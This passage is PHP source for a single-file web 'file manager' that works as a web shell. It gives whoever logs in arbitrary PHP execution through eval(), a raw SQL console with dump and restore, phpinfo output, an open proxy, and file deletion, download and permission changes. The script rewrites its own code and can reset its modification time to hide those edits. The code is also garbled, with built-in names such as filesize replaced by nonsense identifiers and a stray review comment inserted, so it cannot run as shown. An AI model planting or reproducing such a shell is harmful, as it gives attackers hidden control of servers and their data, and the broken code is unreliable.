                            	$filemtime = filemtime(__FILE__);

                            	$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                            	if (file_put_contents(__FILE__, $replace)) {
                                                           $msg .= __('File updated');
                            	}	else $msg .= __('Error occurred');

                            	if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                            }	
                            $lang = json_decode($translation_string,true);

	}

}

/* Functions */


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;

};


//delete listOfFilesInBackup and dirs recursively

function fm_del_listOfFilesInBackup($file, $recursive = false) {

	if($recursive && @is_dir($file)) {
                            $els = fm_scan_dir($file, '', '', true);
                            foreach ($els as $el) {
                            	if($el != '.' && $el != '..'){
                                                           fm_del_listOfFilesInBackup($file . '/' . $el, true);

                            	}

                            }
	}

	if(@is_dir($file)) {
                            return rmdir($file);
	} else {
                            return @unlink($file);
	}
}


//file perms

function fm_rights_string($file, $if = false){
	$perms = fileperms($file);

	$info = '';
	if(!$if){
                            if (($perms & 0xC000) == 0xC000) {
                            	//Socket

                            	$info = 's';




                            } elseif (($perms & 0xA000) == 0xA000) {
                            	//Symbolic Link

                            	$info = 'l';



                            } elseif (($perms & 0x8000) == 0x8000) {
                            	//Regular

                            	$info = '-';
                            } elseif (($perms & 0x6000) == 0x6000) {
                            	//Block special




                            	$info = 'b';
                            } elseif (($perms & 0x4000) == 0x4000) {
                            	//Directory

                            	$info = 'd';



                            } elseif (($perms & 0x2000) == 0x2000) {
                            	//Character special
                            	$info = 'c';


								
                            } elseif (($perms & 0x1000) == 0x1000) {
                            	//FIFO pipe
                            	$info = 'p';

                            } else {

                            	//Unknown

                            	$info = 'u';

                            }
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 

	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));

 

	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));


	return $info;
}


function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}


function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
                            $els = fm_scan_dir($file);

                            foreach ($els as $el) {

                            	$res = $res && fm_chmod($file . '/' . $el, $val, true);

                            }

	}
	return $res;

}

//load listOfFilesInBackup
function fm_download($titleOfFile) {
                       if (!empty($titleOfFile)) {

                            if (file_exists($titleOfFile)) {

                            	header("Content-Disposition: attachment; filename=" . basename($titleOfFile));   
                            	header("Content-Type: application/force-download");
                            	header("Content-Type: application/octet-stream");
                            	header("Content-Type: application/download");

                            	header("Content-Description: File Transfer");                                                                     
                            	header("Content-Length: " . listOfFilesInBackupize($titleOfFile));                            
                            	flush(); // this doesn't really matter.
                            	$fp = fopen($titleOfFile, "r");
                            	while (!feof($fp)) {
                                                           echo fread($fp, 65536);

                                                           flush(); // this is essential for large downloads
                            	} 

                            	fclose($fp);
                            	die();

                            } else {

                            	header('HTTP/1.0 404 Not Found', true, 404);

                            	header('Status: 404 Not Found'); 
                            	die();
                                              }
                       } 
}



//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {
                            $size=fm_dir_size($f,false);

                            if($size<=1024) return $size.' bytes';
                            elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
                            elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
                            elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';




                            elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
                            else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

                            if(is_file($f)) return listOfFilesInBackupize($f);

                            $size=0;

                            $dh=opendir($f);
                            while(($file=readdir($dh))!==false) {


                            	if($file=='.' || $file=='..') continue;

                            	if(is_file($f.'/'.$file)) $size+=listOfFilesInBackupize($f.'/'.$file);

                            	else $size+=fm_dir_size($f.'/'.$file,false);

                            }
                            closedir($dh);



                            return $size+listOfFilesInBackupize($f); 
	}

}





//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir_logs = $ndir = array();

	if(!empty($exp)){
                            $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){
                            $func = 'is_' . $type;
	}




	if(@is_dir($directory)){
                            $fh = opendir($directory);
                            while (false !== ($filename = readdir($fh))) {

                            	if(substr($filename, 0, 1) != '.' || $do_not_filter) {
                                                           if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                                           	$dir_logs[] = $filename;
                                                           }
                            	}
                            }

                            closedir($fh);

                            natsort($dir_logs);
	}
	return $dir_logs;

}



function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}


function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){

                            $b=$v[$n];
                            $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}
	return $res;

}



function fm_lang_form ($current_server='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
                            <option value="en" '.($current_server=='en'?'selected="selected" ':'').'>'.__('English').'</option>
                            <option value="de" '.($current_server=='de'?'selected="selected" ':'').'>'.__('German').'</option>

                            <option value="ru" '.($current_server=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
                            <option value="fr" '.($current_server=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
                            <option value="uk" '.($current_server=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>
</form>

';

}

	

function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');
}


function fm_php($string){

	$display_errorLogDetails=ini_get('display_errorLogDetails');
	ini_set('display_errorLogDetails', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errorLogDetails', $display_errorLogDetails);
	return $text;
}



//SHOW DATABASES

function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);

}



function fm_sql($query){

	global $fm_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {
                            ob_end_clean();	

                            return $connection->connect_error;

	}
	$connection->set_charset('utf8');
                       $queried = mysqli_query($connection,$query);

	if ($queried===false) {

                            ob_end_clean();	

                            return mysqli_error($connection);
                       } else {



                            if(!empty($queried)){
                            	while($row = mysqli_fetch_assoc($queried)) {
                                                           $query_result[]=  $row;

                            	}

                            }
                            $vdump=empty($query_result)?'':var_export($query_result,true);	

                            ob_end_clean();	

                            $connection->close();

                            return '<pre>'.stripslashes($vdump).'</pre>';

	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path_codes;
	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";
	if($tables == '*')	{

                            $tables = array();
                            $result = $mysqldb->query('SHOW TABLES');

                            while($row = mysqli_fetch_row($result))	{
                            	$tables[] = $row[0];
                            }
	} else {

                            $tables = is_array($tables) ? $tables : explode(',',$tables);
	}
                       
	$return='';
	foreach($tables as $table)	{
                            $result = $mysqldb->query('SELECT * FROM '.$table);

                            $num_fields = mysqli_num_fields($result);
                            $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
                            $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

                            $return.=$row2[1].$delimiter;

                                              if ($full_backup) {

                            for ($i = 0; $i < $num_fields; $i++)  {

                            	while($row = mysqli_fetch_row($result)) {
                                                           $return.= 'INSERT INTO `'.$table.'` VALUES(';

                                                           for($j=0; $j<$num_fields; $j++)	{
                                                           	$row[$j] = addslashes($row[$j]);
                                                           	$row[$j] = str_replace("\n","\\n",$row[$j]);

                                                           	if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                                           	if ($j<($num_fields-1)) { $return.= ','; }

                                                           }

                                                           $return.= ')'.$delimiter;
                            	}

                              }
                            } else { 

                            $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
                            }
                            $return.="\n\n\n";
	}

	//save file
                       $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');

	fwrite($handle,$return);
	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path_codes  . '\'"';
                       return $file.': '.fm_link('download',$path_codes.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";
                       // Load and explode the sql file

                       $f = fopen($sqlFileToExecute,"r+");

                       $sqlFile = fread($f,listOfFilesInBackupize($sqlFileToExecute));
                       $sqlArray = explode($delimiter,$sqlFile);

	
                       //Process the sql file by statements
                       foreach ($sqlArray as $stmt) {

                                              if (strlen($stmt)>3){
                            	$result = $mysqldb->query($stmt);

                                                           if (!$result){
                                                           	$sqlErrorCode = mysqli_errno($mysqldb->connection);
                                                           	$sqlErrorText = mysqli_error($mysqldb->connection);
                                                           	$sqlStmt                         = $stmt;
                                                           	break;
                                                 	                        }
                                                 	  }
                                                 }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '
input, input.fm_input {
	text-indent: 2px;
}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;

}

.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}



function fm_config_checkbox_row($name,$value) {

	global $fm_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}


function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}



function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fm_config;

	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'

                                                           <form  method="post" action="'.fm_url().'" style="display:inline">

                                                           <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
                                                           </form>

' : '';
	return $return;

}



function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

                            $link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
                            $link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
                            $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

                            //alles machen wunderschon

	} else {
                            $link = $host.$link;

	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {

                            $base = fm_site_url().'/'.basename(__FILE__);

                            $baseq = $base.'?proxy=true&url=';
                            $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){
                            //как-то тоже подменять надо
	}

	return $matches[1].'="'.$link.'"';

}
 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

                            $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>

</table>

';
}


function find_text_in_listOfFilesInBackup($dir_logs, $mask, $text) {

                       $results = array();

                       if ($handle = opendir($dir_logs)) {

                                              while (false !== ($entry = readdir($handle))) {
                                                                     if ($entry != "." && $entry != "..") {
                                                                                            $path_codes = $dir_logs . "/" . $entry;
                                                                                            if (is_dir($path_codes)) {
                                                                                                                   $results = array_merge($results, find_text_in_listOfFilesInBackup($path_codes, $mask, $text));
                                                                                            } else {

                                                                                                                   if (fnmatch($mask, $entry)) {

                                                                                                                                          $contents = file_get_contents($path_codes);
                                                                                                                                          if (strpos($contents, $text) !== false) {
                                                                                                                                                                 $results[] = str_replace('//', '/', $path_codes);
                                                                                                                                          }
                                                                                                                   }

                                                                                            }

                                                                     }
                                              }

                                              closedir($handle);
                       }
                       return $results;
}


/* End Functions */


// Es ideal para organizar y acceder rápidamente a mis fotos y videos. Tiene una función de vista previa muy útil
if ($auth_logs['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

                            if (($_POST['login']==$auth_logs['login']) && ($_POST['password']==$auth_logs['password'])) {
                            	setcookie($auth_logs['cookie_name'], $auth_logs['login'].'|'.md5($auth_logs['password']), time() + (86400 * $auth_logs['days_authorization']));

                            	$_COOKIE[$auth_logs['cookie_name']]=$auth_logs['login'].'|'.md5($auth_logs['password']);

                            }
	}

	if (!isset($_COOKIE[$auth_logs['cookie_name']]) OR ($_COOKIE[$auth_logs['cookie_name']]!=$auth_logs['login'].'|'.md5($auth_logs['password']))) {

                            echo '
<!doctype html>
<html>
<head>

<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>
<body>
<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language).'

</body>
</html>

';  

die();

	}
	if (isset($_POST['quit'])) {

                            unset($_COOKIE[$auth_logs['cookie_name']]);

                            setcookie($auth_logs['cookie_name'], '', time() - (86400 * $auth_logs['days_authorization']));
                            header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}
}



// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 

                            unset($_COOKIE['fm_config']);
                            setcookie('fm_config', '', time() - (86400 * $auth_logs['days_authorization']));

                            header('Location: '.fm_url().'?fm_settings=true');

                            exit(0);

	}	elseif (isset($_POST['fm_config'])) { 
                            $fm_config = $_POST['fm_config'];

                            setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth_logs['days_authorization']));
                            $_COOKIE['fm_config'] = serialize($fm_config);
                            $msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 

                            if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

                            $fm_login = json_encode($_POST['fm_login']);
                            $fgc = file_get_contents(__FILE__);

                            $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
                            if (!empty($matches[1])) {
                            	$filemtime = filemtime(__FILE__);
                            	$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                            	if (file_put_contents(__FILE__, $replace)) {

                                                           $msg .= __('File updated');
                                                           if ($_POST['fm_login']['login'] != $auth_logs['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                                           if ($_POST['fm_login']['password'] != $auth_logs['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                                           $auth_logs = $_POST['fm_login'];

                            	}
                            	else $msg .= __('Error occurred');
                            	if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                            }

	} elseif (isset($_POST['tpl_edited'])) { 

                            $lng_tpl = $_POST['tpl_edited'];
                            if (!empty($_POST[$lng_tpl.'_name'])) {

                            	$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
                            } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                            	$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

                            }
                            if (!empty($fm_php)) {
                            	$fgc = file_get_contents(__FILE__);

                            	$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
                            	if (!empty($matches[1])) {
                                                           $filemtime = filemtime(__FILE__);
                                                           $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                                           if (file_put_contents(__FILE__, $replace)) {
                                                           	${$lng_tpl.'_templates'} = $fm_php;
                                                           	$msg .= __('File updated');

                                                           } else $msg .= __('Error occurred');

                                                           if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
                            	}	
                            } else $msg .= __('Error occurred');

	}
}


// Just show image

if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){
                            switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
                            	case 1: $ext='gif'; break;

                            	case 2: $ext='jpeg'; break;

                            	case 3: $ext='png'; break;

                            	case 6: $ext='bmp'; break;

                            	default: die();
                            }
                            header("Content-type: image/$ext");
                            echo file_get_contents($file);
                            die();

	}
}



// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);
	fm_download($file);	
}



// Just show info

if (isset($_GET['phpinfo'])) {
	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>

';

	if ($url) {

                            $ch = curl_init($url);
                            curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
                            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

                            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

                            curl_setopt($ch, CURLOPT_HEADER, 0);

                            curl_setopt($ch, CURLOPT_REFERER, $url);

                            curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
                            $result = curl_exec($ch);

                            curl_close($ch);
                            //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
                            $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);




                            $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
                            echo $result;
                            die();
	} 

}
?>
<!doctype html>

<html>

<head>                        
	<meta charset="utf-8" />




	<meta name="viewport" content="width=device-width, initial-scale=1" />

                       <title><?=__('File manager')?></title>

<style>





body {
	background-color:	white;

	font-family:                            Verdana, Arial, Helvetica, sans-serif;
	font-size:                            	8pt;

	margin:                                                           0px;
}


	a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }




a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {
	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;
}


th	{
	height:                                                           25px;
	background-color:	#006699;
	color:                                                           #FFA34F;
	font-weight:                            bold;

	font-size:                            	11px;

}


.row1 {
	background-color:	#EFEFEF;
}


.row2 {

	background-color:	#DEE3E7;
}

.row3 {

	background-color:	#D1D7DC;
	padding: 5px;
}



tr.row1:hover {

	background-color:	#F3FCFC;

}



tr.row2:hover {

	background-color:	#F0F6F6;
}

.whole {
	width: 100%;

}

.all tbody td:first-child{width:100%;}


textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;

	padding: 5px;
}


.textarea_input {
	height: 1em;

}

.textarea_input:focus {
	height: auto;
}


input[type=submit]{

	background: #FCFCFC none !important;
	cursor: pointer;

}


.folder {

                       background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaL